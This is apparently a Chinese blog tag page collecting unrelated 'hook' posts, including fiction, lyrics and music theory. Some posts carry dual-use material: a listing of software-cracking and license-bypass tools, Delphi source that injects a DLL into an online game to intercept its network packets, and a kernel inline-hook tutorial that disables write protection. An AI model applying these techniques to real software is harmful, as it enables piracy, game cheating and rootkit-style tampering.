LOFTER for ipad —— 让兴趣,更有趣

点击下载 关闭

LOFTER-网易轻博

hook

3471浏览    22参与
…

晚上9点多的风褪去了燥热,花了一个多个小时坐在楼下的椅子一直听着温柔的歌,看着周围的人走来走去,心态越来越平和,感觉一下子到了我八十岁的样子。我不禁睡了下来,抬头看看这个漆黑无星的夜晚,嘴角不禁露出了浅浅的微笑,奇怪,其实没有事情让我高兴,但是这个时刻让我很舒服,在这里放空自己的时间,微风都待我比较温柔了。

仿佛想起那年在宿舍里,我期待看到自己在一个房间里认真的写东西,没有混乱伤心的因素,惬意且积极,我告诫自己一定要做一个认真的人。

然而后来我在房间里呆着的时候都很颓废,很疲惫,唯有出来坐坐的时候才感觉自己活的像个人。

晚上9点多的风褪去了燥热,花了一个多个小时坐在楼下的椅子一直听着温柔的歌,看着周围的人走来走去,心态越来越平和,感觉一下子到了我八十岁的样子。我不禁睡了下来,抬头看看这个漆黑无星的夜晚,嘴角不禁露出了浅浅的微笑,奇怪,其实没有事情让我高兴,但是这个时刻让我很舒服,在这里放空自己的时间,微风都待我比较温柔了。

仿佛想起那年在宿舍里,我期待看到自己在一个房间里认真的写东西,没有混乱伤心的因素,惬意且积极,我告诫自己一定要做一个认真的人。

然而后来我在房间里呆着的时候都很颓废,很疲惫,唯有出来坐坐的时候才感觉自己活的像个人。

via

回不去就把记忆都燃尽

过去的故事放任让他飞行

再多怀念不如让他归零

                    /young jack’s hook 不必说再见

回不去就把记忆都燃尽

过去的故事放任让他飞行

再多怀念不如让他归零

                    /young jack’s hook 不必说再见

纞

Xposed框架Hook初学者学习实例

                                           START
Step1(分析App):
——————————
Name:秀壁纸1.5.7
Package...

                                           START
Step1(分析App):
——————————
Name:秀壁纸1.5.7
Package:com.baoruan.picturestore
加固:未
混淆:有
Target:去除软件的升级提示(Dialog)
HookedMethod:com.baoruan.store.a.g.run()
HookMode:replace
Tools:APK查壳工具  AIDE  MT管理器  Jadx AndroidKiller
——————————

Step2(寻找Hook点):
(鄙人的Ben方法请仅作参考)
  1.首先在手机端用APK查壳工具查看秀壁纸1.5.7是否加固,这里我的结果是未加固,目的是确定是否需要脱壳。
  2.接着使用MT管理器查看秀壁纸1.5.7的Dex文件和Arsc文件,分析它的代码和字符串是否被混淆(就是知道被混淆鄙人也没法😂),目的是了解它的内部情况,做好心理准备而已。
  3.然后在AIDE中写好XposedModule的基本框架,目的是为等下进行Hook作准备,方便调试代码,当然也可以彻底分析完且找到了Hook点,并做了记录,那还是可以最后再来写Module的。
  4.通过上面用MT管理器对它进行分析后,我found它还好只是代码混淆了,而字符串内容并没有混淆(这就好办了😏),然后我使用AndroidKiller对把它Decompile,在AK里面通过字符串("升级提示")进行全局搜索确定该字符串的变量名(update_Prompt),再通过该名字进行全局搜索我found一个layout(update_layout),然后打开Jadx工具通过该layout名字进行搜索,我found一个method:run()它就是Hook点,他所在的class:com.baoruan.store.a.g,我将它们记录下来,准备写Hook逻辑。
  5.继续在AIDE中编写Module,我采用的HookMode:replace,也就是将原method代替掉,实现我们自己的method。(具体的代码在Demo中)

Step3(运行Module):
  1.检查代码的编写是否正确(眼镜跟着代码过一遍,想象实现的效果)
  2.检查Module是否在Xposed中已经勾选好了
  3.重启手机查看效果

(注意:本文章为鄙人的处女座,肯定有不严谨的地方,主要用来总结学习经历,当然也不建议大家参考分享,请谅解!)
                                           END

DemoDownload:
百度云盘(https://pan.baidu.com/s/1TwRIxwY-0ZgNRv-9UBNouA 密码:9999)
ToolsDownload:
百度云盘(https://pan.baidu.com/s/1f5TwhEFBumEuSFiOi4v81A 密码:9999)

菠菜
走过岁月......

Svn钩子脚本简介及生产应用举例

钩子脚本的具体写法就是操作系统中的shell脚本,可根据自己的svn所在的操作系统和shell程序进行相应的开发

默认情况下,钩子的子目录中包含各种版本库钩子模板

[root@centos/]# tree /application/svndata/sadoc/hooks/

/application/svndata/sadoc/hooks/

├──post-commit.tmpl

├── post-lock.tmpl

├──post-revprop-change.tmpl

├──post-unlock.tmpl

├── pre-commit.tmpl

├──...

钩子脚本的具体写法就是操作系统中的shell脚本,可根据自己的svn所在的操作系统和shell程序进行相应的开发

默认情况下,钩子的子目录中包含各种版本库钩子模板

[root@centos/]# tree /application/svndata/sadoc/hooks/

/application/svndata/sadoc/hooks/

├──post-commit.tmpl

├── post-lock.tmpl

├──post-revprop-change.tmpl

├──post-unlock.tmpl

├── pre-commit.tmpl

├── pre-lock.tmpl

├──pre-revprop-change.tmpl

├── pre-unlock.tmpl

└──start-commit.tmpl

钩子脚本就是被某些版本库事件触发的程序,如创建新版本或修改未被版本控制的属性。每个钩子都能掌管足够的信息来了解发生了什么事件,操作对象是什么以及触发事件用户的账号,根据钩子的输出或者返回状态,钩子程序能够以某种方式控制该动作继续执行、停止或者挂起

当前 Subversion 提 供了 5 种可以安装的 hook :


生产应用场景

开发人员提交的代码自动触发操作,如自动备份内容同步自动执行sonar扫描fortify安全扫描、对上传文件类型检查控制等操作,下面的例子为

【SVN Hook 实现服务器端代码自动更新】

原来的做法是客户端提交代码之后,再去服务器端项目中 svn up 一下来更新代码,让服务器端的项目更新到最新版本。可以编写一个 post-commit 钩子脚本来实现服务器端代码的自动更新,它在 SVN 每次 svn commit 之后运行


注意事项:

  1. subversion 以 正在存取代码库的过程的所属用户来执行 hook 。因此,请确保这个用户具有足够的权限,可以访问 hook 可以直接或间接访问的资源,一般可以设置 chmod 700 post-commit

  2. 写钩子脚本时要尽可能定义环境变量,主要是用过的命令的路径。因为SVN考虑安全问题,不会调用系统环境变量,所以即使发现手动执行post-commit没有问题,但svn自动执行也可能会无法执行

退隐鱼忆_

HOOK ZCB&Ey及ZCB远程调用(修复版) [点击查看完整内容]

  •  HOOK 注册宝&易游注册宝远程调用 (指向自己的编号及安全码)

  • MD5:29C49B34BC1B937EF6B5C31D7A57A2C7


  •  HOOK 注册宝&易游注册宝远程调用 (指向自己的编号及安全码)

  • MD5:29C49B34BC1B937EF6B5C31D7A57A2C7

退隐鱼忆_

网络验证破解工具包大全 Beta8 [点击查看完整内容]


  • 网络验证破解工具包大全 Beta8 更新日期:2016-03-21日

  • 重大更新对付部分程序时自动去除关机及蓝屏

  • 新版包含

  • 软件弹窗置入工具

  • 临时补丁工具

  • 窗口SPY工具

  • 纯净查壳工具

  • 灰色按钮克星

  • 逆鳞asp通杀工具

  • 可可通杀工具(1)

  • 可可通杀工具(2)

  • 可可9.5通杀工具

  • 可可正版补码工具

  • 可可HOOK工具

  • 飘零通杀工具(1)

  • 飘零通杀工具(2)

  • 易游山寨工具

  • 易游通杀工具(1)

  • 注册宝山寨工具

  • 注册宝通杀工具(1)...


  • 网络验证破解工具包大全 Beta8 更新日期:2016-03-21日

  • 重大更新对付部分程序时自动去除关机及蓝屏

  • 新版包含

  • 软件弹窗置入工具

  • 临时补丁工具

  • 窗口SPY工具

  • 纯净查壳工具

  • 灰色按钮克星

  • 逆鳞asp通杀工具

  • 可可通杀工具(1)

  • 可可通杀工具(2)

  • 可可9.5通杀工具

  • 可可正版补码工具

  • 可可HOOK工具

  • 飘零通杀工具(1)

  • 飘零通杀工具(2)

  • 易游山寨工具

  • 易游通杀工具(1)

  • 注册宝山寨工具

  • 注册宝通杀工具(1)

  • 注册宝通杀工具(2)

  • MD5:53F22672B1A642A773CCC94CA2E307C0

The Nine

delphi编写的载封包

在Windows XP,D7编译测试通过

HOOK.DLL源码

library HOOK;

{ Important note about DLL memory management: ShareMem must be the

  first unit in your library's USES clause AND your project's (select

  Project-View Source) USES clause if your DLL exports any procedures or

  functions that pass...

在Windows XP,D7编译测试通过

HOOK.DLL源码

library HOOK;

{ Important note about DLL memory management: ShareMem must be the

  first unit in your library's USES clause AND your project's (select

  Project-View Source) USES clause if your DLL exports any procedures or

  functions that pass strings as parameters or function results. This

  applies to all strings passed to and from your DLL--even those that

  are nested in records and classes. ShareMem is the interface unit to

  the BORLNDMM.DLL shared memory manager, which must be deployed along

  with your DLL. To avoid using BORLNDMM.DLL, pass string information

  using PChar or ShortString parameters. }


uses

SysUtils,

windows,

Messages,

APIHook in 'APIHook.pas';

type

PData = ^TData;

TData = record

Hook: THandle;

Hooked: Boolean;

end;

var

DLLData: PData;

{------------------------------------}

{过程名:HookProc

{过程功能:HOOK过程

{过程参数:nCode, wParam, lParam消息的相

{ 关参数

{------------------------------------}

procedure HookProc(nCode, wParam, lParam: LongWORD);stdcall;

begin

if not DLLData^.Hooked then

begin

HookAPI;

DLLData^.Hooked := True;

end;

//调用下一个Hook

CallNextHookEx(DLLData^.Hook, nCode, wParam, lParam);

end;

{------------------------------------}

{函数名:InstallHook

{函数功能:在指定窗口上安装HOOK

{函数参数:sWindow:要安装HOOK的窗口

{返回值:成功返回TRUE,失败返回FALSE

{------------------------------------}

function InstallHook(SWindow: LongWORD):Boolean;stdcall;

var

ThreadID: LongWORD;

begin

Result := False;

DLLData^.Hook := 0;

ThreadID := GetWindowThreadProcessId(sWindow, nil);

//给指定窗口挂上钩子

DLLData^.Hook := SetWindowsHookEx(WH_GETMESSAGE, @HookProc, Hinstance, ThreadID);

if DLLData^.Hook > 0 then

Result := True //是否成功HOOK

else

exIT;

end;

{------------------------------------}

{过程名:UnHook

{过程功能:卸载HOOK

{过程参数:无

{------------------------------------}

procedure UnHook;stdcall;

begin

UnHookAPI;

//卸载Hook

UnhookWindowsHookEx(DLLData^.Hook);

end;

{------------------------------------}

{过程名:DLL入口函数

{过程功能:进行DLL初始化,释放等

{过程参数:DLL状态

{------------------------------------}

procedure MyDLLHandler(Reason: Integer);

var

FHandle: LongWORD;

begin

case Reason of

DLL_PROCESS_ATTACH:

begin //建立文件映射,以实现DLL中的全局变量

FHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, $ffff, 'MYDLLDATA');

if FHandle = 0 then

if GetLastError = ERROR_ALREADY_EXISTS then

begin

FHandle := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, 'MYDLLDATA');

if FHandle = 0 then Exit;

end else Exit;

DLLData := MapViewOfFile(FHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);

if DLLData = nil then

CloseHandle(FHandle);

end;

DLL_PROCESS_DETACH:

begin

if Assigned(DLLData) then

begin

UnmapViewOfFile(DLLData);

DLLData := nil;

end;

end;

end;

end;

{$R *.res}

exports

InstallHook, UnHook, HookProc;

begin

DLLProc := @MyDLLHandler;

MyDLLhandler(DLL_PROCESS_ATTACH);

DLLData^.Hooked := False;

end.

'APIHook.pas'源码

unit APIHook;

interface

uses

SysUtils,

Dialogs,

Windows, WinSock;

type

//要HOOK的API函数定义

TSockProc = function (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;

PJmpCode = ^TJmpCode;

TJmpCode = packed record

JmpCode: BYTE;

Address: TSockProc;

MovEAX: Array [0..2] of BYTE;

end;

//--------------------函数声明---------------------------

procedure HookAPI;

procedure UnHookAPI;

procedure SaveInfo(var buf); stdcall;

function recvout(var Rbuf;RLen:Integer):Integer;

var

OldSend, OldRecv: TSockProc; //原来的API地址

JmpCode: TJmpCode;

OldProc: array [0..1] of TJmpCode;

AddSend, AddRecv: pointer; //API地址

TmpJmp: TJmpCode;

ProcessHandle: THandle;

implementation

procedure SaveInfo(var buf); stdcall;

var

  f: file;

  FileName:string;

begin

  {保存为文件信息}

  FileName:='c:\test.txt';

  assignfile(f, FileName);

  closefile(f);

end;

function recvout(var Rbuf;RLen:Integer):Integer;

Var

buf1:pchar;

i:integer;

ss:string;

Begin

buf1:=@Rbuf;

for i:=1 to Rlen do

    Begin

      ss:=ss+inttohex(byte(buf1^),2)+' ';

      buf1:=buf1+1;

    End;

ShowMessage('封包内容[16进制]:'+ss);

ShowMessage('发送封包长度:'+inttostr(Rlen));

End;

{---------------------------------------}

{函数功能:Send函数的HOOK

{函数参数:同Send

{函数返回值:integer

{---------------------------------------}

function MySend(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;

var

dwSize: cardinal;

begin

//这儿进行发送的数据处理

MessageBeep(1000); //简单的响一声

recvout(Buf,len);

//SaveInfo(Buf);

//调用直正的Send函数

WriteProcessMemory(ProcessHandle, AddSend, @OldProc[0], 8, dwSize);

Result := OldSend(S, Buf, len, flags);

JmpCode.Address := @MySend;

WriteProcessMemory(ProcessHandle, AddSend, @JmpCode, 8, dwSize);

end;

{---------------------------------------}

{函数功能:Recv函数的HOOK

{函数参数:同Recv

{函数返回值:integer

{---------------------------------------}

function MyRecv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;

var

dwSize: cardinal;

begin

//这儿进行接收的数据处理

MessageBeep(1000); //简单的响一声

//调用直正的Recv函数

WriteProcessMemory(ProcessHandle, AddRecv, @OldProc[1], 8, dwSize);

Result := OldRecv(S, Buf, len, flags);

JmpCode.Address := @MyRecv;

WriteProcessMemory(ProcessHandle, AddRecv, @JmpCode, 8, dwSize);

end;

{------------------------------------}

{过程功能:HookAPI

{过程参数:无

{------------------------------------}

procedure HookAPI;

var

DLLModule: THandle;

dwSize: cardinal;

begin

ProcessHandle := GetCurrentProcess;

DLLModule := LoadLibrary('ws2_32.dll');

AddSend := GetProcAddress(DLLModule, 'send'); //取得API地址

AddRecv := GetProcAddress(DLLModule, 'recv');

JmpCode.JmpCode := $B8;

JmpCode.MovEAX[0] := $FF;

JmpCode.MovEAX[1] := $E0;

JmpCode.MovEAX[2] := 0;

ReadProcessMemory(ProcessHandle, AddSend, @OldProc[0], 8, dwSize);

JmpCode.Address := @MySend;

WriteProcessMemory(ProcessHandle, AddSend, @JmpCode, 8, dwSize); //修改Send入口

ReadProcessMemory(ProcessHandle, AddRecv, @OldProc[1], 8, dwSize);

JmpCode.Address := @MyRecv;

WriteProcessMemory(ProcessHandle, AddRecv, @JmpCode, 8, dwSize); //修改Recv入口

OldSend := AddSend;

OldRecv := AddRecv;

end;

{------------------------------------}

{过程功能:取消HOOKAPI

{过程参数:无

{------------------------------------}

procedure UnHookAPI;

var

dwSize: Cardinal;

begin

WriteProcessMemory(ProcessHandle, AddSend, @OldProc[0], 8, dwSize);

WriteProcessMemory(ProcessHandle, AddRecv, @OldProc[1], 8, dwSize);

end;

end.

测试代码

procedure TForm1.Button1Click(Sender: TObject);

var

  MOduleHandle:THandle;

  TmpWndHandle:THandle;

begin

  TmpWndHandle:=0;

  //TmpWndHandle:=FindWindow('IEFrame', nil);

  TmpWndHandle:=FindWindowA(nil,'《风云online》');

 

  if not IsWindow(TmpWndHandle) then

  begin

    MessageBox(Self.Handle,'没有找到窗口','!!',MB_OK);

    Exit;

  end;

  MOduleHandle:=LoadLibrary('HOOK.dll');

  @InstallHook:=GetProcAddress(MOduleHandle,'InstallHook');

  @UnHook:=GetProcAddress(MOduleHandle,'UnHook');

  if InstallHook(FindWindowA(nil,'《风云online》')) then

  ShowMessage('Hook OK');

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

UnHook;

end;

他與他的。

[PAN潘恩] Rebirth (Hook x PeterPan)



紀念10/8 Pan 上映:D


之前看完首映就覺得嗚嗚Hook超可愛的QQQQQ(噴愛心


*時間點:黑鬍子事件六年後


------------------------------------------------------


「wakey-wakey!!!!!!」


少年站在一張吊床前,拍打著睡夢中那人的手臂,


被噪音攻擊的那人將蓋在自己臉上的帽子用力砸向少年。


「閉嘴,Flyboy.」


Hook用著未醒的啞音威脅著少年,少年把玩著方才砸向自己的帽子,


像是完全不在意對方的恐嚇一般,彎起了閃著海洋藍的眼睛。


「嘿,你已經超過可...



紀念10/8 Pan 上映:D


之前看完首映就覺得嗚嗚Hook超可愛的QQQQQ(噴愛心







*時間點:黑鬍子事件六年後


------------------------------------------------------





「wakey-wakey!!!!!!」


少年站在一張吊床前,拍打著睡夢中那人的手臂,


被噪音攻擊的那人將蓋在自己臉上的帽子用力砸向少年。


「閉嘴,Flyboy.」


Hook用著未醒的啞音威脅著少年,少年把玩著方才砸向自己的帽子,


像是完全不在意對方的恐嚇一般,彎起了閃著海洋藍的眼睛。


「嘿,你已經超過可以賴床的年紀了吧。」


「大人晚上也是有很多事情要忙的,睡前還需要睡前故事的小孩子哪懂。」


Hook翻了個身順勢坐了起來,撓了撓被睡亂的頭髮,


將掛在旁邊的馬甲背心拿起穿上,


「yeah. 」


Peter早就習慣對方隨時隨地都在胡說的那副樣子,


他將手中不屬於自己的帽子丟回對方的手上,


「Princess Tiger Lily早就回去重建部落啦。」


Peter留下這句話轉過身後,船艙裡迴盪著Hook生氣的說著不要取笑大人的怒吼。










Peter走出船艙,背靠著甲板上的欄杆環視著整艘船。


這艘被Hook撿回來修好的船也陪了他們渡過了六年,


他們沒有將它特別改裝,還是像原本一樣,破舊的船帆、有些坑洞的船板,


但Peter依舊喜歡它,這是他的家。


它漂浮在本為黑鬍子船隻停放的地方,一個可以俯瞰Neverland礦山的最佳景點。


現在的NeverLand沒有黑鬍子的高壓統治,


只有透過空氣傳來的歡笑聲以及像青草一般蓬勃的朝氣。


Peter閉上雙眼感受陽光照射在他身上的溫暖,


當他正在享受這寧靜時刻時,一隻大手往Peter臉上蓋下。


「噢……嘿!Hook, 放開我!」


Peter掙扎著撥掉了對方的手睜開雙眼,


他眼裡的湛藍海洋倒映著Hook玩世不恭的笑容。


「wakey-wakey.」


Hook往Peter的方向走近了一步,拍了拍Peter的肩將手搭上去,


「嘿,變成一個成年人的感想如何啊,Fly boy.」


Peter正想開口,Hook就用一個翻白眼的表情打斷了他。


「拜託,別問我怎麼知道的。你的表現太明顯了,小鬼。噢,還有你的小鬼朋友Nibs,他甚至讓我覺得整個NeverLand都知道今天是你生日。」


這段話配上Hook顯現出明顯的不耐煩表情,


剛剛自己的小心思被發現的尷尬消失殆盡,甚至讓Peter忍不住笑了出聲,


「嘿,別說我是小鬼,也別那樣說Nibs.」


「Okay, Okay. 小鬼們的自尊心,我懂。」


Hook轉過頭對著Peter的方向眨眨眼,得意的換來Peter無奈的表情。


「Hook, 我們也許可以嘗試幫你慶祝生日?你知道,四十歲生日之類的。」


「Flyboy, 你真的很吵。」



「不過,我可不記得自己的生日是幾月幾號。」


Hook臉上依舊掛著那種Peter十分熟悉的笑容,


在他說出那句話的時候,Peter也沒有看出Hook臉上有任何的情緒波動。


「Hook……」


Peter垂下眉毛看著Hook,Hook見狀大笑了起來,


「Flyboy, 不要用這麼可憐兮兮的表情看著我,是我比較可憐吧。」


看著旁邊的少年低下了頭默不作聲,


Hook暗自感慨眼前小鬼心思細膩之程度已成長到無法跟以前一樣敷衍過去就可以,他嘆了口氣。


「喂,聽著。從我會思考開始,不論是在外面渾噩的生活、或者是在剛進來NeverLand的時候,我每天都希望自己睡著之後不要醒來。」


Hook停頓了一下,


「有現在這樣的日子可過,我就已經夠享受啦。哪來得及去想生日那些的。如果你真的要幫我過生日,那就趁現在幫我訂一天當生日啦。」


Hook將Peter裝飾著羽毛的茶色帽子摘了下來,


閃耀的金棕色躍然來到他眼前,他揉亂那頭天生帶有微捲的短髮。


「那……今天?」


Peter雙手抓著自己的帽子,眼神帶著詢問的看著Hook。


「因為我們是朋友……也是家人。」


聽著Peter些許的遲疑卻蓋不過當中的堅定的語氣,


Hook一開始沒有作聲,只是笑著強硬的將被Peter雙手摧殘的帽子拿走,


「As you wish.」


Hook將帽子往船外拋,Peter驚訝的跟著帽子往船外跳,


用他的飛行能力去追回帽子。



「Flyboy, Happy birthday!」


Hook將半個身子探出船外,對著Peter的方向喊著,


Peter聞言,確認追回的帽子緊扣在頭上後抬起頭。




「Happy birthday, too!」







----



哈哈哈希望看完電影的捧油可以來跟我分享QQ~~~~~


sdbzxysm

理解Inline Hook,HookApi通信

Inline hook通俗的说就是对函数执行流程进行修改,达到控制函数过滤操作的目的。理论上我们可以在函数任何地方把原来指令替换成我们的跳转指令,也确实有些人在inline的时候做的很深,来躲避inline 的检测,前提是必须对函数的流程和指令非常熟悉,且这种深层次的inlline 不具有通用性,稳定性也是问题。

Inline hook原理:解析函数开头的几条指令,把他们Copy到数组保存起来,然后用一个调用我们的函数的几条指令来替换,如果要执行原函数,则在我们函数处理完毕,再执行我们保存起来的开头几条指令,然后调回我们取指令之后的地址执行。用下图来解释:

整个Inline hook的...

Inline hook通俗的说就是对函数执行流程进行修改,达到控制函数过滤操作的目的。理论上我们可以在函数任何地方把原来指令替换成我们的跳转指令,也确实有些人在inline的时候做的很深,来躲避inline 的检测,前提是必须对函数的流程和指令非常熟悉,且这种深层次的inlline 不具有通用性,稳定性也是问题。

Inline hook原理:解析函数开头的几条指令,把他们Copy到数组保存起来,然后用一个调用我们的函数的几条指令来替换,如果要执行原函数,则在我们函数处理完毕,再执行我们保存起来的开头几条指令,然后调回我们取指令之后的地址执行。用下图来解释:

wpsFE0C.tmp

整个Inline hook的过程就大体这样。

我们来说一个简单的实例可能会更好理解一些。

既然上面讲到了Inline Hook的原理,那我们就来实践一下,就拿应用层和驱动层的通信来实践一下吧。

前面不是说应用层和驱动层通信是通过DeviceIoControl传递控制码来实现通信的吗?

当然不止这一个方法啊,只要是带有输入输出参数的函数,我们在输入参数传入不同的标识,相当于IO_CTL宏一样的标识。然后在内核拦截这个函数,看看传入的是不是应用层发来的通信请求,如果是的话,那么我们进行请求处理,然后把结果copy到输出参数中,这样不就不实现了应用层与驱动层的通信了吗?

那我们应该怎么拦截呢?正好应用上面提到的Inline Hook的方法吧。选择哪个函数呢?就用ReadFile,这个函数传入文件句柄,返回读到的数据缓冲区。

首先通过函数名得到函数的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

DWORD GetFunctionAddressBySsdt(WCHAR *zwFunctionName, DWORD index)
{
    UNICODE_STRING UnicodeFunctionName;
    ANSI_STRING AnsiFunction;
    char lpszFunction[100];

    RtlInitUnicodeString(&UnicodeFunctionName, zwFunctionName);
    RtlUnicodeStringToAnsiString(&AnsiFunction, &UnicodeFunctionName, TRUE);
    memset(lpszFunction, 0, sizeof(lpszFunction));

    strncpy(lpszFunction, AnsiFunction.Buffer, AnsiFunction.Length);

    if(!GetFunctionIndexByName(lpszFunction, &index))
    {
        RtlFreeAnsiString(&AnsiFunction);
        return 0;
    }

    RtlFreeAnsiString(&AnsiFunction);

    if(index <= KeServiceDescriptorTable->ntoskrnl.NumberOfService)
    {
        return KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[index];
    }

    return 0;
}

解析函数开头的几条指令,把他们Copy到另一个地方保存起来,然后用一个调用我们的函数的几条指令来替换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

void UnHookFunctionHeader(WCHAR *FunctionName, BOOLEAN bSsdt,DWORD index,PVOID HookZone,int patchCodeLen)
{
    UNICODE_STRING uniFunctionName;
    DWORD oldFunctionAddress;

    if(bSsdt)
    {
        if(FunctionName != NULL)
        {
            oldFunctionAddress = GetFunctionAddressBySsdt(FunctionName, 0);
            if(0 == oldFunctionAddress)
            {
                return;
            }
        }else{
            oldFunctionAddress = GetFunctionAddressBySsdt(NULL, index);
            if(0 == oldFunctionAddress)
            {
                return;
            }
        }
    }else{
        RtlInitUnicodeString(&uniFunctionName, FunctionName);
        oldFunctionAddress = (DWORD)MmGetSystemRoutineAddress(&uniFunctionName);
        if(0 == oldFunctionAddress)
        {
            return;
        }
    }

    if(patchCodeLen > 0)
    {
        _asm
        {
            cli;
            mov     eax,cr0;
            and     eax, not 10000h;
            mov     cr0,eax;
        }

        memcpy((PVOID)oldFunctionAddress, (PVOID)HookZone, patchCodeLen);

        _asm
        {
            mov     eax,cr0;
            or      eax,10000h;
            mov     cr0,eax;
            sti;
        }
    }
}

则在我们函数处理完毕,再执行我们保存起来的开头几条指令,然后调回我们取指令之后的地址执行。前面我们把原始函数的前几条汇编指令保存在下面的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

__declspec(naked) NTSTATUS NtReadFileHookZone(,...)
{
    _asm
    {
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        _emit 0x90;
        jmp [NtReadFileRet];
    }
}

_declspec(naked)

就是告诉编译器,在编译的时候,不要优化代码,通俗的说就是:没代码,完全要自己写

注意最后会跳到我们替换成jmp指令的几条指令的后一条。

下面是我们自己的定义的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

NTSTATUS __stdcall NewNtReadFile(
    _In_      HANDLE FileHandle,
    _In_opt_  HANDLE Event,
    _In_opt_  PIO_APC_ROUTINE ApcRoutine,
    _In_opt_  PVOID ApcContext,
    _Out_     PIO_STATUS_BLOCK IoStatusBlock,
    _Out_     PVOID Buffer,
    _In_      ULONG Length,
    _In_opt_  PLARGE_INTEGER ByteOffset,
    _In_opt_  PULONG Key
    )
{
    ULONG i;
    NTSTATUS status;
    ZWREADFILE OldZwReadFile;

    OldZwReadFile = (ZWREADFILE)NtReadFileHookZone;
    //这里进行我们自己的处理
return OldZwReadFile(FileHandle,
        Event,
        ApcRoutine,
        ApcContext,
        IoStatusBlock,
        Buffer,
        Length,
        ByteOffset,
        Key
        );
}

我们发现我们自己的处理函数又调用回了NtReadFileHookZone这个函数。

到此Inline Hook ReadFile就基本完成了。

通信的时候我们在应用定义唯一的句柄号,然后驱动层根据不同的自定义文件句柄来进行不同的处理。

我们使用WinDbg分析一下会更加清晰。

好吧,我们先来看看没进行inline hook前NtReadFile的反汇编代码:

image

可以看出NtReadFile的索引号我4Ch。

执行到这句:

*(DWORD*)&jmpCode[1] = NewFunctionAddress – (oldFunctionAddrss + 5);

这里是计算jmp后面的地址=目标地址-当前地址-5

让NtReadFileRet指向第一条未进行替换的汇编语句。

*lpRet = (PVOID)(oldFunctionAddrss + *patchCodeLen);

未拷贝前:

image未拷贝前和我们定义的是一样的,注意最后一句直接jmp到NtReadFileRet所指的地址,继续执行原函数的汇编语句。

memcpy((PVOID)HookZone, (PVOID)oldFunctionAddrss, *patchCodeLen);

然后我们把前面几条需要替换的汇编代码拷贝到NtReadFileHookZone。下面是拷贝后NtReadFileHookZone的反汇编。

image

注意看画框中的汇编语句,就是原NtReadFile的前两句汇编。

memset((PVOID)oldFunctionAddrss, 0×90, *patchCodeLen);

memcpy((PVOID)oldFunctionAddrss, jmpCode, 5);

然后我们把原NtReadFile前面的汇编语句给替换掉,直接jmp到我们自己实现的函数中。

我们再来看看原始的NtReadFile函数:

image直接跳到我们自定义的函数当中了。

然后可以看到上面在自定义函数NewNtReadFile中,在执行自己的处理,我们又调回NtReadFileHookZone部分执行了。

反汇编NewNtReadFile:

82240048 c745fc80012482  mov     dword ptr [ebp-4],offset Security!NtReadFileHookZone (82240180)

这里把NtReadFileHookZone 的地址赋给指针 dword ptr [ebp-4]

最后返回的时候,我们看到直接call  NtReadFileHookZone

82240164 ff55fc          call    dword ptr [ebp-4]

而在NtReadFileHookZone 中,我们执行完原NtReadFile的前两句汇编之后又jmp到了NtReadFileRet所指的地址。反汇编这个地址:

image

是不是继续接着原NtReadFile函数来执行的。

到现在应该明白inline hook其实就是改变原函数的执行流程这句话的含义了吧。

至于恢复inline hook,只要把修改的前几句汇编语句写回去即可。

本文链接:http://www.blogfshare.com/understand-inlinehook.html

转载提示:除非注明,AloneMonkey的文章均为原创,转载请以链接形式注明作者和出处。谢谢合作!

Ultraviolins

科普向—Hook

Hook不就是副歌吗?
按我听到的次数来说,对Hook最大的误解就是这个了。如果你买专辑的话,或者在网上看到原版歌词的时候,相信这些词你都会有点印象(Intro)Verse Chorus (Bridge)(Hook)——歌词本里一定会有这些,然而并不是很多歌的分段中会出现Hook这个词,这也是间接证明它真的不等同于副歌。从简单的开始,Verse(主歌)Chorus(副歌),Chorus这个词原意合唱——副歌一般会有很多和声。几乎全部的中文歌都能划成清晰的Verse/Chorus结构,所以非常好理解这两个概念。为了易懂先拿中文歌举例(其实中文歌本身不存在这些东西,比如某蔡老师的《红色高跟鞋》就没什...

Hook不就是副歌吗?
按我听到的次数来说,对Hook最大的误解就是这个了。如果你买专辑的话,或者在网上看到原版歌词的时候,相信这些词你都会有点印象(Intro)Verse Chorus (Bridge)(Hook)——歌词本里一定会有这些,然而并不是很多歌的分段中会出现Hook这个词,这也是间接证明它真的不等同于副歌。从简单的开始,Verse(主歌)Chorus(副歌),Chorus这个词原意合唱——副歌一般会有很多和声。几乎全部的中文歌都能划成清晰的Verse/Chorus结构,所以非常好理解这两个概念。为了易懂先拿中文歌举例(其实中文歌本身不存在这些东西,比如某蔡老师的《红色高跟鞋》就没什么结构)一般大部分中文歌表示出来就是verse1-chorus-verse2-chorus-chorus这样的。至于bridge,通常是插在verse2结束后的两次重复的chorus之间起缓冲作用,一般要明显短于verse和chorus。于是相应的也有Verse/Chorus/Bridge结构,即verse1-chorus-verse2-chorus-bridge-chorus。比如《Bad Romance》法语英文混的那个位置,walk walk…I want your love and I want your revenge…want your bad romance,非常经典的Bridge;还有和它具有相同格式的《Judas》(我就不说是它仿制的了)里面的典型bridge,verse2接chorus后面插进I wanna love you…but judas is the demon I cling to)。
